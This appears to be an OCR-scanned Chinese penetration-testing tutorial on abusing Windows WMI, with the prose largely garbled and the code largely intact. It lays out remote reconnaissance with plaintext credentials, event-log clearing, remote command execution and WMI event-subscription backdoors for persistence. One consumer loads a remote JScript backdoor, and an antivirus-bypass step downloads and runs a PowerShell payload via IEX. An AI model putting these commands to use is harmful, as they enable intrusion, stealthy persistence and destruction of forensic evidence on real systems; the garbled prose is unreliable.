BEERARNEFRN, RERAREWIndowsZFEF W5 [HFNFH, EEE—MIEEBAIIRAIRE T Tk, BWindows NT 4.0f0Windows 95
Fiam—EELE Tk, BBRtEWindows Management Instrumentation (WMI), BIWindows&EIETH., MERBEHRIWindowsRAFEE XN T
B, 1R8I ESE, RIIUUEEAHIEENITTEN. ENMUERASERAR, EEAStuxnetF] BWMISRFITIREHREMEE K
T ARFTH. BTWMIEBBRERREEWE, BRSO, R8T, #ERs), JFANRBRENENENMEZBERIVD,

0x02 fEi=fEN =S LT

wmic

wmic os get Name,OSArchitecture
wmic /node:192.168.1.1 /user:administrator /password:123456 os get Name,OSArchitecture

powershell

$computerName = "192.168.17.129"

$password = "123456"

$userName = "Administrator”

$secPwd = ConvertTo-SecureString $password -AsPlainText -Force

$creds = New-Object System.Management.Automation.PSCredential($userName, $secPwd)

$Query = "select * from Win32_OperatingSystem"

Get-WmiObject -Query $Query -ComputerName 192.168.17.129 -Credential $creds |Select-Object Name,OSArchitecture

A hash MIERT, B4 wece (Windows Credentials Editor) SENGHIT, AZEHISE Credential
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$wql = "select * from Win32_QuickFixEngineering" // 3KEN T 58

Get-WmiObject -Query $wql | Select-Object HotFixID

Get-WmiObject -Query $wql -ComputerName 192.168.1.1 -Credential $creds | Select-Object HotFixID
wmic /node:192.168.1.1 /user:administrator /password:123456 qfe get HotFixID

wmic qfe get HotFixID

$wql = "select name,OSArchitecture from Win32 OperatingSystem" //3RBURERFZFRFINIER
wmic os get name,OSArchitecture

$wql = "Select * from win32_process" // REUHTEFIZR
wmic process get name

"Select name,state From Win32 Service" // 3SREURSZFIIRZES
wmic service get name,state

"Select * from win32 logicaldisk where drivetype=3 or drivetype=5" // 3JRENEZFHEE
wmic logicaldisk where drivetype=3 get deviceid

$wql = "SELECT * FROM Win32_ENVIRONMENT" // 3REGAEZT &
wmic ENVIRONMENT get VariableValue

$wql = "select * from win32 product" // 5HE L ZERIRG
wmic product get name

Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct -ComputerName 192.168.17.129 -Credential $creds |Select-
Object displayName // 3REX 228985 ER14

wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName

$wql = "select * from Cim_DataFile where Drive='c:" and path ="\\"" // JIBRTRIX &



wmic nteventlog get path,filename,writeable // BEERZFENEE

wmic nteventlog where filename="system" call cleareventlog // B&HEE
wmic process call create "cmd /c whoami" // BJEiHE

wmic process where name="explorer.exe" call terminate // {E&RHiZ

0x04 WMI Eventing Backdoor

FE{KHH ActiveScriptEventConsumer ] CommandLineEventConsume Eii&
CommandLineEventConsumer

CommandLineEventConsumer: H{7—%a<, ~EI0TF



$userName = "administrator”

$EventName = "unicode"

$secPwd = ConvertTo-SecureString "rabbit" -AsPlainText -Force

$Credential = New-Object System.Management.Automation.PSCredential($userName, $secPwd) # gIZZIEEE

$CommonArgs = @
Credential = $Credential
ComputerName = '192.168.17.129'

}

# F02009 10 RORHERRRA
$Wql = "select * from __InstanceModificationEvent where TargetInstance Isa 'win32_LocalTime' and Targetinstance.Second = 10"
$Command = "cmd /c whoami"

# SIS TSRS

$filter = Set-Wmilnstance @CommonArgs -Namespace root/subscription -Class __EventFilter -Arguments @{ EventNamespace =
'root/cimv2’; Name = $EventName; Query = $Wql; QueryLanguage = 'WQL' }

# SIS AbIE

$consumer = Set-Wmilnstance @CommonArgs -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{
Name = $EventName; CommandLineTemplate = $Command }

# 4fE
$FilterToConsumerBinding = Set-Wmilnstance @CommonArgs -Namespace root/subscription -Class __FilterToConsumerBinding -

Arguments @{ Filter = $Filter; Consumer = $Consumer }

EEFANFRERDT, BEBEANE—X, HEBESTNEARESE , KIEAFAMRASMA, Flan:

Select * From ___InstanceModificationEvent Within 5 Where Targetinstance ISA 'Win32_LocalTime' And (Targetinstance.Second=0 Or

Targetinstance.Second=10 Or Targetinstance.Second=20 Or Targetinstance.Second=30 Or Targetinstance.Second=40 Or Targetinstance.Second=50)

ActiveScriptEventConsumer



ActiveScriptEventConsumer: FA3E#1{T VBScript/JScript ¥2, BJLAF{#ER ScriptFileName 8RR, BRILAEE(ER ScriptText EHARN
SEEBAN. ~™IAT:

$setings = @f

Name = $EventName;

ScriptingEngine = 'JScript’;

ScriptText = 'new ActiveXObject("Wscript.Shell").Run("cmd.exe /c echo 1 > c:\\1.txt");'
}

$Wql = "select * from __InstanceModificationEvent where TargetInstance Isa 'win32_LocalTime' and Targetinstance.Second = 10"
# BIESMITiERs

$filter = Set-Wmilnstance @CommonArgs -Namespace root/subscription -Class __EventFilter -Arguments @{ EventNamespace =
'root/cimv2’; Name = $EventName; Query = $Wql; QueryLanguage = 'WQL' }
# SIS bR

$consumer = Set-Wmilnstance @CommonArgs -Namespace root/subscription -Class ActiveScriptEventConsumer -Arguments $setings

# GB7%E
$FilterToConsumerBinding = Set-Wmilnstance @CommonArgs -Namespace root/subscription -Class __FilterToConsumerBinding -
Arguments @{ Filter = $Filter; Consumer = $Consumer }

XEER AT LA EZ(ER VBScript/JScript KREEHRITHS. I0Z shellcode F21E, BoJLURFENNE payload , ZFHERHER, tBUABSHITHEER, &%
BEHIRE "WSC. JSRAT and WMI Backdoor"

ScriptText = 'GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")’;

0x05 Bypass AV

F3 wmic process call create cmd B AXHERZEHHITMIEN, WO E, EEERENT:



FHE ¢ C\Windows\System32\wbem\WmiPrvSE.exe

ZRCIERUEEAR  192,168.17.1
o[gEEH BEIER : C\Windows\System32\ci, 4 BB %S

i#iE : C\Windows\System32\wbem\scrcons.exe
=i H 35 S| T
g r ATAEEIREE
E812 : C\Windows\System32\cmd.exe 7 uzpzs

SHTAHTRI=8, FEXZTA, WFERME, XEBIHRINTHIESKIATES, SRR payload EFEZERRH, ABUT

$ComputerName = .....

$Cred = .....

$command = "cmd /c echo IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.1/a")) | powershell -",
$wmi_sched job = [wmiclass]"\\$envicomputername\root\cimv2:win32 scheduledjob”

$time = $wmi_sched job.ConvertFromDateTime($time)

(Get-WmiObject -list win32_scheduledjob -ComputerName $ComputerName -Credential $Cred).Create( $command,$time)
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Stbbeh, SORREDIEIRRG AV, IR, MR SIE8, M TSR
0x06 #h7E

wMI FEFENBIP—RIEASRTRCREEERN 4T, EEMNEREER type KEE, BEBRAITIN 445 RIBER TATAH. £ wmicmd (h
ttps://github.com/nccgroup/WMlemd) /1, BRFHUTRRIERBATIEMER, AREEEIEMRPIVERTHAMK 445 FEIE, ESLALFE—
wmisEREFER, BERRNEDNE, XENAR T BRI EMRETRFEIESIIA MK 445 RIEE,

o FhE:

$StaticClass = New-Object Management.ManagementClass(‘root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command’

$StaticClass.Properties.Add('Command', $Payload)

$StaticClass.Put()

o SEEX:

$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

0x07 &%

https://www.freebuf.com/column/241216.html
http://drops.leesec.com/#!/drops/1185.WSC., JSRAT and WMI Backdoor
https://www.t00ls.net/viewthread.php?tid=21167&highlight=wmi
https://github.com/nccgroup/WMIlcmd
https://github.com/Ridter/Intranet_Penetration_Tips






